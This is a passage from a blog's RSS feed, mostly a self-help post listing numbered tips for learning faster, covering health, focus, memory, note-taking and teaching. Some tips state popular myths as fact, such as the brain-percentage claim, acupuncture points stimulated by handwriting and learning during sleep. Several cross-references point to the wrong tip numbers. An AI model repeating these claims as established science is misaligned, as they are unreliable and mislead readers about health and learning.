reverse engineering.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-922745646053167576?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/dEsHSGRRZn8" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/dEsHSGRRZn8/reverse-engineering-with-pdf2word-live.html</link><author>noreply@blogger.com (h4ckfreak)</author><media:thumbnail url="http://4.bp.blogspot.com/-4D4atwi6vfg/TljIpGT0EBI/AAAAAAAAATU/5SKJp9laEac/s72-c/pdf-word.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://defendhackers.blogspot.com/2011/08/reverse-engineering-with-pdf2word-live.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-756191933229024021</guid><pubDate>Sat, 27 Aug 2011 10:32:00 +0000</pubDate><atom:updated>2011-08-27T03:41:44.414-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">General</category><title>Hacking Mind, Learn Faster, Be Smart</title><description>&lt;br /&gt;
&lt;a href="http://3.bp.blogspot.com/-OS9hNCagHko/TljHiWWfZ5I/AAAAAAAAATQ/2fvNrR7Fm5U/s1600/mindhack.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-OS9hNCagHko/TljHiWWfZ5I/AAAAAAAAATQ/2fvNrR7Fm5U/s1600/mindhack.jpg" /&gt;&lt;/a&gt;If someone granted you one wish, what do you imagine you would want out of life that you haven't gotten yet? For many people, it would be self-improvement and knowledge. New knowledge is the backbone of society's progress. Great thinkers such as &lt;a class="previewlink" href="http://en.wikipedia.org/wiki/Leonardo_da_Vinci"&gt;Leonardo da Vinci&lt;/a&gt;, &lt;a class="previewlink" href="http://en.wikipedia.org/wiki/Thomas_Edison"&gt;Thomas Edison&lt;/a&gt;, &lt;a class="previewlink" href="http://en.wikipedia.org/wiki/Benjamin_Franklin"&gt;Benjamin Franklin&lt;/a&gt;, &lt;a class="previewlink" href="http://en.wikipedia.org/wiki/Albert_Einstein"&gt;Albert Einstein&lt;/a&gt;, and others' quests for knowledge have led society to many of the marvels we enjoy today. Your quest for knowledge doesn't have to be as Earth-changing as Einstein's, but it can be an important part of your life, leading to a new job, better pay, a new hobby, or simply knowledge for knowledge's sake — whatever is important to you as an end goal.  	Life-changing knowledge does typically require advanced learning techniques. In fact, it's been said that the average adult only uses 10% of his/her brain. Imagine what we may be capable of with more advanced learning techniques. Here are 77 tips related to knowledge and learning to help you on your quest. A few are specifically for students in traditional &lt;a class="previewlink" href="http://oedb.org/online-schools"&gt;learning institutions&lt;/a&gt;; the rest for self-starters, or those learning on their own. Happy learning.&lt;br /&gt;
&lt;h2&gt;Health&lt;/h2&gt;&lt;ol&gt;&lt;li&gt;&lt;b&gt;Shake a leg&lt;/b&gt;. Lack of blood flow is a common reason for lack of concentration. If you've been sitting in one place for awhile, bounce one of your legs for a minute or two. It gets your blood flowing and sharpens both concentration and recall.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Food for thought: Eat breakfast&lt;/b&gt;. A lot of people skip breakfast, but creativity is often optimal in the early morning and it helps to have some protein in you to feed your brain. A lack of protein can actually cause headaches.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Food for thought, part 2: Eat a light lunch&lt;/b&gt;. Heavy lunches have a tendency to make people drowsy. While you could turn this to your advantage by taking a "thinking nap" (see #23), most people haven't learned how. &lt;/li&gt;
&lt;li&gt;&lt;b&gt;Cognitive enhancers: Ginkgo biloba&lt;/b&gt;. &lt;a class="previewlink" href="http://en.wikipedia.org/wiki/Gingko_biloba"&gt;Ginkgo biloba&lt;/a&gt; is a natural supplement that has been used in China and other countries for centuries and has been reputed to &lt;a class="previewlink" href="http://intelegen.com/nutrients/ginkgo_reverses_memory_loss_in_r.htm"&gt;reverse memory loss&lt;/a&gt; in rats. It's also suggested by some &lt;a class="previewlink" href="http://oedb.org/online-programs/health-medical"&gt;health practitioners&lt;/a&gt; as a &lt;a class="previewlink" href="http://en.wikipedia.org/wiki/Nootropic"&gt;nootrope&lt;/a&gt; and thus a memory enhancer.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Reduce stress + depresssion&lt;/b&gt;. Stress and depression &lt;a class="previewlink" href="http://intelegen.com/nutrients/memory_loss_it_is_always_age.htm"&gt;may reduce&lt;/a&gt; the ability to recall information and thus inhibit learning. Sometimes, all you need to reduce depression is more white light and fewer refined foods. &lt;/li&gt;
&lt;/ol&gt;&lt;h2&gt;Balance&lt;/h2&gt;&lt;ol start="6"&gt;&lt;li&gt;&lt;b&gt;Sleep on it&lt;/b&gt;. &lt;a class="previewlink" href="http://en.wikipedia.org/wiki/Maxwell_Maltz"&gt;Dr. Maxwell Maltz&lt;/a&gt; wrote about in his book &lt;i&gt;&lt;a class="previewlink" href="http://en.wikipedia.org/wiki/Psycho-Cybernetics"&gt;Psycho-Cybernetics&lt;/a&gt;&lt;/i&gt; about a man who was was paid good money to come up with ideas. He would lock his office door, close the blinds, turn off the lights. He'd focus on the problem at hand, then take a short nap on a couch. When he awoke, he usually had the problem solved. &lt;/li&gt;
&lt;li&gt;&lt;b&gt;Take a break&lt;/b&gt;. Change phyical or mental perspective to lighten the invisible stress that can sometimes occur when you sit in one place too long, focused on learning. Taking a 5-15 minute break every hour during study sessions is more beneficial than non-stop study. It gives your mind time to relax and absorb information. If you want to &lt;a class="previewlink" href="http://www.43folders.com/2006/09/07/ultradians/"&gt;get really serious with breaks&lt;/a&gt;, try a &lt;a class="previewlink" href="http://ernestrossi.com/ultradia.htm"&gt;20 minute ultradian break&lt;/a&gt; as part of every 90 minute cycle. This includes a nap break, which is for a different purpose than #23.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Take a hike&lt;/b&gt;. Changing your perspective often relieves tension, thus freeing your creative mind. Taking a short walk around the neighborhood may help. &lt;/li&gt;
&lt;li&gt;&lt;b&gt;Change your focus&lt;/b&gt;. Sometimes there simply isn't enough time to take a long break. If so, change subject focus. Alternate between technical and non-technical subjects. &lt;/li&gt;
&lt;/ol&gt;&lt;h2&gt;Perspective and Focus&lt;/h2&gt;&lt;ol start="10"&gt;&lt;li&gt;&lt;b&gt;Change your focus, part 2&lt;/b&gt;. There are three primary ways to learn: visual, kinesthetic, and auditory. If one isn't working for you, try another.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Do walking meditation&lt;/b&gt;. If you're taking a hike (#25), go one step further and learn &lt;a class="previewlink" href="http://www.wildmind.org/meditation/walking/overview.html"&gt;walking meditation&lt;/a&gt; as a way to tap into your inner resources and your strengthen your ability to focus. Just make sure you're not walking inadvertently into traffic.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Focus and immerse yourself&lt;/b&gt;. Focus on whatever you're studying. Don't try to watch TV at the same time or worry yourself about other things. Anxiety does not make for absorption of information and ideas.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Turn out the lights&lt;/b&gt;. This is a way to focus, if you are not into meditating. Sit in the dark, block out extraneous influences. This is ideal for learning kinesthetically, such as guitar chord changes.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Take a bath or shower&lt;/b&gt;. Both activities loosen you up, making your mind more receptive to recognizing brilliant ideas. &lt;/li&gt;
&lt;/ol&gt;&lt;h2&gt;Recall Techniques&lt;/h2&gt;&lt;ol start="15"&gt;&lt;li&gt;&lt;b&gt;Listen to music&lt;/b&gt;. Researchers have long shown that certain types of &lt;a class="previewlink" href="http://oedb.org/online-programs/arts-humanities/music"&gt;music&lt;/a&gt; are a great "key" for recalling memories. Information learned while listening to a particular song or collection can often be recalled simply by "playing" the songs mentally.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Speedread&lt;/b&gt;. Some people believe that speedreading causes you to miss vital information. The fact remains that efficient speedreading results in filtering out irrelevant information. If necessary, you can always read and re-read at slower speeds. Slow reading actually hinders the ability to absorb general ideas. (Although technical subjects often requirer slower reading.) If you're reading online, you can try the free &lt;a class="previewlink" href="http://www.spreeder.com/"&gt;Spreeder&lt;/a&gt; Web-based application.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Use acronyms and other mnemonic devices&lt;/b&gt;. &lt;a class="previewlink" href="http://www.web-us.com/memory/mnemonic_techniques.htm"&gt;Mnemonics&lt;/a&gt; are essentially tricks for remembering information. Some tricks are so effective that proper application will let you recall loads of mundane information years later. &lt;/li&gt;
&lt;/ol&gt;&lt;h2&gt;Visual Aids&lt;/h2&gt;&lt;ol start="18"&gt;&lt;li&gt;&lt;b&gt;Every picture tells a story&lt;/b&gt;. Draw or sketch whatever it is you are trying to achieve. Having a concrete goal in mind helps you progress towards that goal.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Brainmap it&lt;/b&gt;. Need to plan something? Brain maps, or &lt;a class="previewlink" href="http://en.wikipedia.org/wiki/Mind_map"&gt;mind maps&lt;/a&gt;, offer a compact way to get both an overview of a project as well as easily add details. With mind maps, you can see the relationships between disparate ideas and they can also act as a receptacle for a brainstorming session.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Learn symbolism and semiotics&lt;/b&gt;. &lt;a class="previewlink" href="http://en.wikipedia.org/wiki/Semiotics"&gt;Semiotics&lt;/a&gt; is the study of signs and symbols. Having an understanding of the symbols of a particular discipline aids in learning, and also allows you to record information more efficiently.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Use information design&lt;/b&gt;. When you record information that has an inherent structure, applying &lt;a class="previewlink" href="http://en.wikipedia.org/wiki/Information_design"&gt;information design&lt;/a&gt; helps convey that information more clearly. A great resource is &lt;a class="previewlink" href="http://infosthetics.com/"&gt;Information Aesthetics&lt;/a&gt;, which gives examples of information design and links to their sources.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Use visual learning techniques&lt;/b&gt;. Try &lt;a class="previewlink" href="http://www.gliffy.com/"&gt;gliffy&lt;/a&gt; for &lt;a class="previewlink" href="http://www.agiledraw.org/index.php/Main/Examples"&gt;structured diagrams&lt;/a&gt;. Also see &lt;a class="previewlink" href="http://www.inspiration.com/vlearning/index.cfm?fuseaction=techniques"&gt;Inspiration.com&lt;/a&gt; for an explanation of webs, idea maps, concept maps, and plots.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Map your task flow&lt;/b&gt;. Learning often requires gaining knowledge in a specific sequence. &lt;a class="previewlink" href="http://www.lifehack.org/articles/lifehack/course-of-actions-task-flow-mapping-your-day.html"&gt;Organizing your thoughts&lt;/a&gt; on what needs to be done is a powerful way to prepare yourself to complete tasks or learn new topics.&lt;/li&gt;
&lt;/ol&gt;&lt;h2&gt;Verbal and Auditory Techniques&lt;/h2&gt;&lt;ol start="24"&gt;&lt;li&gt;&lt;b&gt;Stimulate ideas&lt;/b&gt;. Play rhyming games, utter nonsense words. These loosen you up, making you more receptive to learning. &lt;/li&gt;
&lt;li&gt;&lt;b&gt;Brainstorm&lt;/b&gt;. This is a time-honored technique that combines verbal activity, writing, and collaboration. (One person can brainstorm, but it's more effective in a group.) It's fruitful if you remember some simple rules: Firstly, don't shut anyone's idea out. Secondly, don't "edit" in progress; just record all ideas first, then dissect them later. Participating in brainstorming helps assess what you already know about something, and what you didn't know. &lt;/li&gt;
&lt;li&gt;&lt;b&gt;Learn by osmosis&lt;/b&gt;. Got an iPod? Record a few of your own podcasts, upload them to your iPod and sleep on it. Literally. Put it under your pillow and playback language lessons or whatever.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Cognitive enhancers: binaural beats&lt;/b&gt;. &lt;a class="previewlink" href="http://www.web-us.com/thescience.htm"&gt;Binaural&lt;/a&gt; &lt;a class="previewlink" href="http://en.wikipedia.org/wiki/Binaural_beats"&gt;beats&lt;/a&gt; involve playing two close frequencies simultaneously to produce alpha, beta, delta, and theta waves, all of which produce either sleeping, restfulness, relaxation, meditativeness, alertness, or concentration. Binaural beats are used in conjunction with other excercises for a type of super-learning.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Laugh&lt;/b&gt;. Laughing relaxes the body. A relaxed body is more receptive to new ideas. &lt;/li&gt;
&lt;/ol&gt;&lt;h2&gt;Kinesthetic Techniques&lt;/h2&gt;&lt;ol start="29"&gt;&lt;li&gt;&lt;b&gt;Write, don't type&lt;/b&gt;. While typing your notes into the computer is great for posterity, writing by hand stimulates ideas. The simple act of holding and using a pen or pencil massages acupuncture points in the hand, which in turn stimulates ideas.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Carry a quality notebook at all times&lt;/b&gt;. Samuel Taylor Coleridge &lt;a class="previewlink" href="http://gaming.unlv.edu/Xanadu/poem.html"&gt;dreamed the words&lt;/a&gt; of the poem "In Xanadu (did Kubla Khan)...". Upon awakening, he wrote down what he could recall, but was distracted by a visitor and promptly forgot the rest of the poem. Forever. If you've been doing "walking meditation" or any kind of meditation or productive napping, ideas may suddenly come to you. Record them immediately.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Keep a journal&lt;/b&gt;. This isn't exactly the same as a notebook. Journaling has to do with tracking experiences over time. If you add in visual details, charts, brainmaps, etc., you have a much more creative way to keep tabs on what you are learning.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Organize&lt;/b&gt;. Use sticky colored tabs to divide up a notebook or journal. They are a great way to partition ideas for easy referral. &lt;/li&gt;
&lt;li&gt;&lt;b&gt;Use post-it notes&lt;/b&gt;. Post-it notes provide a helpful way to record your thoughts about passages in books without defacing them with ink or pencil marks. &lt;/li&gt;
&lt;/ol&gt;&lt;h2&gt;Self-Motivation Techniques&lt;/h2&gt;&lt;ol start="34"&gt;&lt;li&gt;&lt;b&gt;Give yourself credit&lt;/b&gt;. Ideas are actually a dime a dozen. If you learn to focus your mind on what results you want to achieve, you'll recognize the good ideas. Your mind will become a filter for them, which will motivate you to learn more. &lt;/li&gt;
&lt;li&gt;&lt;b&gt;Motivate yourself&lt;/b&gt;. Why do you want to learn something? What do want to achieve through learning? If you don't know why you want to learn, then distractions will be far more enticing.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Set a goal&lt;/b&gt;. W. Clement Stone once said "Whatever the mind of man can conceive, it can achieve." It's an amazing phenomenon in goal achievement. Prepare yourself by whatever means necessary, and hurdles will seem surmountable. Anyone who has experienced this phenomenon understands its validity.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Think positive&lt;/b&gt;. There's no point in setting learning goals for yourself if you don't have any faith in your ability to learn.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Organize, part 2&lt;/b&gt;. Learning is only one facet of the average adult's daily life. You need to organize your time and tasks else you might find it difficult to fit time in for learning. Try &lt;a class="previewlink" href="http://www.neptunehq.com/"&gt;Neptune&lt;/a&gt; for a browser-based application for "getting things done."&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Every skill is learned&lt;/b&gt;. With the exception of bodily functions, &lt;a class="previewlink" href="http://www.audiblox2000.com/prin.htm"&gt;every skill in life is learned&lt;/a&gt;. Generally speaking, if one person can learn something, so can you. It may take you more effort, but if you've set a believable goal, it's likely an achievable goal. &lt;/li&gt;
&lt;li&gt;&lt;b&gt;Prepare yourself for learning&lt;/b&gt;. Thinking positive isn't sufficient for successfully achieving goals. This is especially important if you are an adult, as you'll probably have many distractions surrounding your daily life. Implement ways to reduce distractions, at least for a few hours at a time, else learning will become a frustrating experience. &lt;/li&gt;
&lt;li&gt;&lt;b&gt;Prepare yourself, part 2&lt;/b&gt;. Human nature is such that not everyone in your life will be a well-wisher in your self-improvement and learning plans. They may intentionally or subconsciously distract you from your goal. If you have classes to attend after work, make sure that work colleagues know this, that you are unable to work late. Diplomacy works best if you think your boss is intentionally giving you work on the days he/she knows you have to leave. Reschedule lectures to a later time slot if possible/ necessary.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Constrain yourself&lt;/b&gt;. Most people need structure in their lives. Freedom is sometimes a scary thing. It's like chaos. But even chaos has order within. By &lt;a class="previewlink" href="http://headrush.typepad.com/creating_passionate_users/2006/10/how_to_make_som.html"&gt;constraining yourself&lt;/a&gt; — say giving yourself deadlines, limiting your time on an idea in some manner, or limiting the tools you are working with — you can often accomplish more in less time. &lt;/li&gt;
&lt;/ol&gt;&lt;h2&gt;Supplemental Techniques&lt;/h2&gt;&lt;ol start="43"&gt;&lt;li&gt;&lt;b&gt;Read as much as you can&lt;/b&gt;. How much more obvious can it get? Use Spreeder (#33) if you have to. Get a breadth of topics as well as depth.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Cross-pollinate your interests&lt;/b&gt;. Neurons that connect to existing neurons give you new perspectives and abilities to use additional knowledge in new ways.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Learn another language&lt;/b&gt;. New perspectives give you the ability to cross-pollinate cultural concepts and come up with new ideas. As well, sometimes reading a book in its original language will provide you with insights lost in translation.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Learn how to learn&lt;/b&gt;. Management Help has a &lt;a class="previewlink" href="http://www.managementhelp.org/trng_dev/methods/on_line.htm"&gt;resource page&lt;/a&gt;, as does &lt;a class="previewlink" href="http://www.siast.sk.ca/virtualcampus/aboutvirtual/learningmethods.htm"&gt;SIAST&lt;/a&gt; (Virtual Campus), which links to articles about learning methods. They are geared towards online learning, but no doubt you gain something from them for any type of learning. If you are serious about optimum learning, read Headrush's &lt;a class="previewlink" href="http://headrush.typepad.com/creating_passionate_users/2006/01/crash_course_in.html"&gt;Crash course in learning theory&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Learn what you know and what you don't&lt;/b&gt;. Many people might say, "I'm dumb," or "I don't know anything about that." The fact is, many people are wholly unaware of what they already know about a topic. If you want to learn about a topic, you need to determine what you already know, figure out what you don't know, and then learn the latter. &lt;/li&gt;
&lt;li&gt;&lt;b&gt;Multi-task through background processes&lt;/b&gt;. Effective multi-tasking allows you to bootstrap limited time to accomplish several tasks. Learning can be bootstrapped through multi-tasking, too. By effective multitasking, I don't mean &lt;a class="previewlink" href="http://headrush.typepad.com/creating_passionate_users/2005/03/your_brain_on_m.html"&gt;doing two or more things at exactly the same time&lt;/a&gt;. It's not possible. However, you can achieve the semblance of effective multitasking with the right approach, and by prepping your mind for it. For example, a successful freelance writer learns to manage several articles at the same time. Research the first essay, and then let the background processes of your mind takeover. Move on consciously to the second essay. While researching the second essay, the first one will often "write itself." Be prepared to record it when it "appears" to you. &lt;/li&gt;
&lt;li&gt;&lt;b&gt;Think holistically&lt;/b&gt;. &lt;a class="previewlink" href="http://en.wikipedia.org/wiki/Wholistic"&gt;Holistic&lt;/a&gt; thinking might be the single most "advanced" learning technique that would help students. But it's a mindset rather than a single technique.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Use the right type of repetition.&lt;/b&gt; Complex concepts often require revisting in order to be fully absorbed. Sometimes, for some people, it may actually take months or years. Repetition of concepts and theory with &lt;i&gt;various&lt;/i&gt; concrete examples improves absorption and speeds up learning.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Apply the Quantum Learning (QL) model&lt;/b&gt;. The &lt;a class="previewlink" href="http://www.newhorizons.org/strategies/accelerated/deporter2.htm"&gt;Quantum Learning&lt;/a&gt; model is being applied in some US schools and goes beyond typical &lt;a class="previewlink" href="http://oedb.org/online-programs/education"&gt;education methods&lt;/a&gt; to engage students. &lt;/li&gt;
&lt;li&gt;&lt;b&gt;Get necessary tools&lt;/b&gt;. There are obviously all kinds of tools for learning. If you are learning online like a growing number of people these days, then consider your online tools. One of the best tools for online research is the &lt;a class="previewlink" href="http://www.mozilla.com/firefox/"&gt;Firefox web browser&lt;/a&gt;, which has loads of extensions (add-ons) with all manner of useful features. One is &lt;a class="previewlink" href="https://addons.mozilla.org/firefox/2517/"&gt;Googlepedia&lt;/a&gt;, which &lt;a class="previewlink" href="http://www.technologyevangelist.com/2006/11/googlepedia_my_favor.html"&gt;simultaneously displays&lt;/a&gt; &lt;a class="previewlink" href="http://www.google.com/"&gt;Google search engine&lt;/a&gt; listings, when you search for a term, with related entries from &lt;a class="previewlink" href="http://wikipedia.org/"&gt;Wikipedia&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Get necessary tools, part 2&lt;/b&gt;. This is a very niche tip, but if you want to learn fast-track methods for building software, read &lt;a class="previewlink" href="http://gettingreal.37signals.com/"&gt;Getting Real&lt;/a&gt; from &lt;a class="previewlink" href="http://www.37signals.com/"&gt;37 Signals&lt;/a&gt;. The &lt;a class="previewlink" href="http://gettingreal.37signals.com/toc.php"&gt;Web page version&lt;/a&gt; is free. The techniques in the book have been used to create &lt;a class="previewlink" href="http://www.basecamphq.com/"&gt;Basecamp&lt;/a&gt;, &lt;a class="previewlink" href="http://www.campfirenow.com/"&gt;Campfire&lt;/a&gt;, and &lt;a class="previewlink" href="http://www.backpackit.com/"&gt;Backpack&lt;/a&gt; web applications in a short time frame. Each of these applications support collaboration and organization.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Learn critical thinking&lt;/b&gt;. As &lt;a class="previewlink" href="http://en.wikipedia.org/wiki/Keegan-Michael_Key"&gt;Keegan-Michael Key&lt;/a&gt;'s character on &lt;a class="previewlink" href="http://en.wikipedia.org/wiki/MADtv"&gt;MadTV&lt;/a&gt; might say, critical thinking takes analysis to "a whole notha level". Read Wikipedia's discourse on &lt;a class="previewlink" href="http://en.wikipedia.org/wiki/Critical_thinking"&gt;critical thinking&lt;/a&gt; as a starting point. It involves good analytical skills to aid the ability to learn selectively. &lt;/li&gt;
&lt;li&gt;&lt;b&gt;Learn complex problem solving&lt;/b&gt;. For most people, life is a series of problems to be solved. Learning is part of the process. If you have a &lt;a class="previewlink" href="http://www.lifehack.org/articles/lifehack/the-art-of-complex-problem-solving.html"&gt;complex problem&lt;/a&gt;, you need to learn the &lt;a class="previewlink" href="http://www.idiagram.com/CP/cpprocess.html"&gt;art of complex problem solving&lt;/a&gt;. [The latter page has some incredible visual information.]&lt;/li&gt;
&lt;/ol&gt;&lt;h2&gt;For Teachers, Tutors, and Parents&lt;/h2&gt;&lt;ol start="56"&gt;&lt;li&gt;&lt;b&gt;Be engaging&lt;/b&gt;. Lectures are one-sided and often &lt;a class="previewlink" href="http://www.brainbasedbusiness.com/2006/10/lectures_work_against_the_brai.html"&gt;counter-productive&lt;/a&gt;. Information merely heard or witnessed (from a chalkboard for instance) is often forgotten. Teaching is not simply talking. &lt;a class="previewlink" href="http://www.brainboomer.com/2006/10/16/youd-have-to-be-brain-dead-to-listen-up/"&gt;Talking isn't enough&lt;/a&gt;. Ask students questions, present scenarios, engage them.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Use information pyramids&lt;/b&gt;. Learning happens in layers. &lt;a class="previewlink" href="http://www.audiblox2000.com/prin.htm"&gt;Build base knowledge&lt;/a&gt; upon which you can add advanced concepts.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Use video games&lt;/b&gt;. Video games get a bad rap because of certain violent games. But video games in general can often be an &lt;a class="previewlink" href="http://wistechnology.com/article.php?id=243"&gt;effective aid to learning&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Role play&lt;/b&gt;. Younger people often learn better by being part of a learning experience. For example, history is easier to absorb through reenactments.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Apply the 80/20 rule&lt;/b&gt;. This rule is often interpreted in dfferent ways. In this case, the &lt;a class="previewlink" href="http://headrush.typepad.com/creating_passionate_users/2006/01/crash_course_in.html"&gt;80/20 rule&lt;/a&gt; means that some concepts, say about 20% of a curriculum, require more effort and time, say about 80%, than others. So be prepared to expand on complex topics.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Tell stories&lt;/b&gt;. Venus Flytrap, a character from the sitcom &lt;a class="previewlink" href="http://www.imdb.com/title/tt0077097/"&gt;WKRP in Cincinnati&lt;/a&gt;, once taught a student gang member about atoms, electrons, and protons by saying that an atom was one big neighborhood, and the protons and neutrons had their own smaller neighborhoods and never mixed. Just like rival gangs. The story worked, and understanding sparked in the students eyes.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Go beyond the public school curriculum&lt;/b&gt;. The public school system is woefully lacking in teaching advanced learning and brainstorming methods. It's not that the methods cannot be taught; they just aren't. To learn more, you have to pay a premium in additional time and effort, and sometimes money for commercially available learning tools. There's nothing wrong with that in itself, but &lt;a class="previewlink" href="http://headrush.typepad.com/creating_passionate_users/2006/11/why_does_engine.html"&gt;what is taught&lt;/a&gt; in schools needs to be expanded. This article's author has proven that a nine-year old can learn (some) university level math, if the learning is approached correctly.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Use applied learning&lt;/b&gt;. If a high school student were having trouble in math, say with fractions, one example of applied learning might be photography, lenses, f-stops, etc. Another example is cooking and measurement of ingredients. Tailor the applied learning to the interest of the student. &lt;/li&gt;
&lt;/ol&gt;&lt;h2&gt;For Students and Self-Studiers&lt;/h2&gt;&lt;ol start="64"&gt;&lt;li&gt;&lt;b&gt;Be engaged&lt;/b&gt;. Surprise. Sometimes students are bored because they know more than is being taught, maybe even more than a teacher. (Hopefully teachers will assess what each student already knows.) Students should discuss with a teacher if they feel that the material being covered is not challenging. Also consider asking for additional materials.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Teach yourself&lt;/b&gt;. Teachers cannot always change their curricula. If you're not being challenged, challenge yourself. Some countries still apply country-wide exams for all students. If your lecturer didn't cover a topic, you should learn it on your own. Don't wait for someone to teach you. Lectures are most effective when you've pre-introduced yourself to concepts.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Collaborate&lt;/b&gt;. If studying by yourself isn't working, maybe a study group will help.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Do unto others: teach something&lt;/b&gt;. The best way to learn something better is to teach it to someone else. It forces you to learn, if you are motivated enough to share your knowledge. &lt;/li&gt;
&lt;li&gt;&lt;b&gt;Write about it&lt;/b&gt;. An effective way to "teach" something is to create an &lt;a class="previewlink" href="http://en.wikipedia.org/wiki/FAQ"&gt;FAQ&lt;/a&gt; or a &lt;a class="previewlink" href="http://en.wikipedia.org/wiki/Wiki"&gt;wiki&lt;/a&gt; containing everything you know about a topic. Or &lt;a class="previewlink" href="http://en.wikipedia.org/wiki/Blog"&gt;blog&lt;/a&gt; about the topic. Doing so helps you to realize what you know and more importantly what you don't. You don't even have to spend money if you grab a freebie account with &lt;a class="previewlink" href="http://www.typepad.com/"&gt;Typepad&lt;/a&gt;, &lt;a class="previewlink" href="http://wordpress.com/"&gt;Wordpress&lt;/a&gt;, or &lt;a class="previewlink" href="http://www.blogger.com/"&gt;Blogger&lt;/a&gt;. &lt;/li&gt;
&lt;li&gt;&lt;b&gt;Learn by experience&lt;/b&gt;. Pretty obvious, right? It means put in the necessary time. An expert is often defined as someone who has put in 10,000 hours into some experience or endeavor. That's approximately 5 years of 40 hours per week, every week. Are you an expert without realizing it? If you're not, do you have the &lt;a class="previewlink" href="http://headrush.typepad.com/creating_passionate_users/2006/03/how_to_be_an_ex.html"&gt;dedication to be an expert&lt;/a&gt;? &lt;/li&gt;
&lt;li&gt;&lt;b&gt;Quiz yourself&lt;/b&gt;. Testing what you've learned will reinforce the information. Flash cards are one of the best ways, and are not just for kids.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Learn the right things first&lt;/b&gt;. Learn the basics. Case in point: a frustrating way to learn a new language is to learn grammar and spelling and sentence constructs first. This is not the way a baby learns a language, and there's no reason why an adult or young adult has to start differently, despite "expert" opinion. Try for yourself and see the difference.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Plan your learning&lt;/b&gt;. If you have a long-term plan to learn something, then to quote Led Zeppelin, "There are two paths you can go by." You can take a haphazard approach to learning, or you can put in a bit of planning and find an optimum path. &lt;a class="previewlink" href="http://oedb.org/library/continuing-education-for-adults/time-management-tips-for-continuing-education-students"&gt;Plan your time&lt;/a&gt; and &lt;a class="previewlink" href="http://oedb.org/library/continuing-education-for-adults/balancing-your-job-and-your-classwork"&gt;balance your learning and living&lt;/a&gt;. &lt;/li&gt;
&lt;/ol&gt;&lt;h2&gt;Parting Advice&lt;/h2&gt;&lt;ol start="73"&gt;&lt;li&gt;&lt;b&gt;Persist&lt;/b&gt;. Don't give up learning in the face of intimdating tasks. Anything one human being can learn, most others can as well. Wasn't it Einstein that said, "Genius is 1% inspiration and 99% perspiration"? Thomas Edison said it, too.&lt;/li&gt;
&lt;li&gt;&lt;b&gt; Defy the experts&lt;/b&gt;. Dyslexia, in a nutshell, is the affliction of mentally jumbling letters and digits, causing difficulties in reading, writing and thus learning. Sometimes spoken words or numbers get mixed up as well. In the past, "experts" declared dyslexic children stupid. Later, they said they were incapable of learning. This author has interacted with and taught dyslexic teens. It's possible. Helen Keller had no experience of sight, sound, or speech, and yet she learned. Conclusion: There is more than one way to learn; never believe you cannot.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Challenge yourself&lt;/b&gt;. People are often more intelligent than they realize. In a world that compartmentalizes and categorizes everything, not everyone is sure where they fit in. And genius can be found in many walks of life. If you honestly suspect that there's more to you than has been "allowed" to be let out, try an IQ test such as the one offered by &lt;a class="previewlink" href="http://www.mensa.org/"&gt;MENSA&lt;/a&gt;. It's unlike the standardized IQ tests given in many schools. You know the kind — the ones which traumatize many young students into thinking they are stupid, simply because the tests don't really assess all student's knowledge and learning ability. And the ability to learn is far, far more important than what you already know.&lt;/li&gt;
